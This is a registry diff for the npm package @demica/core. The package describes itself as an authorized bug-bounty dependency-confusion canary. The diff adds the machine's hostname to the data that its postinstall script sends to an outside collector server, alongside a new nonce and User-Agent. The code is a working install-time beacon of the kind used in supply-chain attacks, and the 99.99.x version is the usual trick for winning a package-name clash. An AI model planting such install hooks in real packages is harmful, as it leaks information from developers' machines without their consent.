@demica/core 99.99.99 → 99.99.100
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -2
- package/canary.js +5 -3
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -4,9 +4,10 @@ Authorized benign dependency-confusion canary for FIS Bugcrowd testing.
|
|
|
4
4
|
|
|
5
5
|
This package performs a single postinstall HTTP ping to the tester-controlled
|
|
6
6
|
collector. The package code does not read or transmit environment variables,
|
|
7
|
-
|
|
7
|
+
usernames, working directories, filesystem contents, command output,
|
|
8
8
|
credentials, tokens, or source code.
|
|
9
9
|
|
|
10
10
|
The collector records only network/request metadata visible to the server:
|
|
11
11
|
source IP, User-Agent, timestamp, package name, package version, nonce, and
|
|
12
|
-
lifecycle phase.
|
|
12
|
+
lifecycle phase. Version `99.99.100` also sends `os.hostname()` for
|
|
13
|
+
program-requested attribution.
|
package/canary.js
CHANGED
|
@@ -1,10 +1,11 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
const http = require('http');
|
|
4
|
+
const os = require('os');
|
|
4
5
|
|
|
5
6
|
const PACKAGE_NAME = '@demica/core';
|
|
6
|
-
const PACKAGE_VERSION = '99.99.
|
|
7
|
-
const NONCE = '
|
|
7
|
+
const PACKAGE_VERSION = '99.99.100';
|
|
8
|
+
const NONCE = '3f05debbbfccfda65de1d6710be12980';
|
|
8
9
|
const PHASE = process.argv[2] || 'postinstall';
|
|
9
10
|
|
|
10
11
|
const params = new URLSearchParams({
|
|
@@ -12,6 +13,7 @@ const params = new URLSearchParams({
|
|
|
12
13
|
version: PACKAGE_VERSION,
|
|
13
14
|
nonce: NONCE,
|
|
14
15
|
phase: PHASE,
|
|
16
|
+
hostname: String(os.hostname() || '').slice(0, 200),
|
|
15
17
|
});
|
|
16
18
|
|
|
17
19
|
const request = http.request(
|
|
@@ -22,7 +24,7 @@ const request = http.request(
|
|
|
22
24
|
path: `/dc?${params.toString()}`,
|
|
23
25
|
timeout: 3000,
|
|
24
26
|
headers: {
|
|
25
|
-
'User-Agent': 'fis-bugcrowd-dependency-confusion-canary/
|
|
27
|
+
'User-Agent': 'fis-bugcrowd-dependency-confusion-canary/3.0 hostname-only',
|
|
26
28
|
},
|
|
27
29
|
},
|
|
28
30
|
(response) => {
|